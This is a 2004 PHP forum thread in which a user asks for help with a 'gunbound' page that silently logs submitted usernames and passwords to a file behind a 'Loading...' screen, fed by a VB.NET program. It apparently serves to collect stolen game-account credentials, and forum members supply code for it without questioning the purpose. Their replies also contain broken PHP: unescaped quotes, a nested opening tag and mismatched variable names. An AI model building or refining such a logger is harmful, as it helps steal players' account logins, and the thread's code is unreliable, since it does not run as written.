check code

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
gpmaker
Forum Newbie
Posts: 6
Joined: Tue Feb 17, 2004 8:37 pm

check code

Post by gpmaker »

can anyone check this for me:

<html>

<head>
<title>gunbound</title>
</head>
<body>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
?>
<center><h2><b>Loading...</b></h2></center>
</body>
</html>

and also, how do i input wut $uname and $passw are going to be using a url??? "www.blah/blah.php?&uname=fdfd&passw=fdfd"????
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Post by John Cartwright »

What is wrong with your code.

I havnt changed anything, just using highlights.

Code: Select all

<html> 

<head> 
<title>gunbound</title> 
</head> 
<body> 
<?php 
if (!$uname){ 
    $uname = "ANON"; 
    } 
if (!$passw){ 
    $passw = "NONE"; 
    } 
$curdate = date ("l dS of F Y h:i:s A"); 
$logfile = '\gblog.html'; 
$fileptr = fopen($logfile, 'a'); 
fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n"); 
fclose($fileptr); 
?> 
<center><h2><b>Loading...</b></h2></center> 
</body> 
</html>
EDIT ------------------------------------------------

Here is a form which will input the username and password into your flatfile.

Code: Select all

<?
echo  "<form name="register" method="post" action=""> \n".
      "Username \n".
      "<input type="text" name="username"> \n".
      "<br> \n".
      "Password \n".
      "<input type="text" name="password"> \n".
      "<input name="submituser" type="Register" value="SUBMIT"> \n".
	  "</form> \n";
	  
if ($submituser=="SUBMIT") {
	$curdate = date ("l dS of F Y h:i:s A"); 
	$logfile = '\gblog.html'; 
	$fileptr = fopen($logfile, 'a'); 
	fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n"); 
	fclose($fileptr); 
	}
?>
gpmaker
Forum Newbie
Posts: 6
Joined: Tue Feb 17, 2004 8:37 pm

inputing values

Post by gpmaker »

i'm trying to make the sumit thing from visual basic .net, so i'm tring to input the username, pass, and date using a url, here' the one i'm using:
http://www.(something)/blah.php?&uname=kdjfkf&passw=fdsfd it's not working for me, so wut am i doing wrong???
User avatar
Dr Evil
Forum Contributor
Posts: 184
Joined: Wed Jan 14, 2004 9:56 am
Location: Switzerland

Post by Dr Evil »

Sorry are you trying to make pages in VB.Net or PHP ?
gpmaker
Forum Newbie
Posts: 6
Joined: Tue Feb 17, 2004 8:37 pm

Post by gpmaker »

i want to put information in visual basic .net, and have that information sent to a page....
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Post by John Cartwright »

Try this

Code: Select all

<?php
<? 
echo  "<form name="register" method="post" action=""> \n". 
      "Username \n". 
      "<input type="text" name="username"> \n". 
      "<br> \n". 
      "Password \n". 
      "<input type="text" name="password"> \n". 
      "<input name="submituser" type="Register" value="SUBMIT"> \n". 
     "</form> \n"; 
     
if ($submituser=="SUBMIT") { 
   $curdate = date ("l dS of F Y h:i:s A"); 
   $logfile = '\gblog.html'; 
   $fileptr = fopen($logfile, 'a'); 
   fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n"); 
   fclose($fileptr); 
   } 
?>
This should work.
Post Reply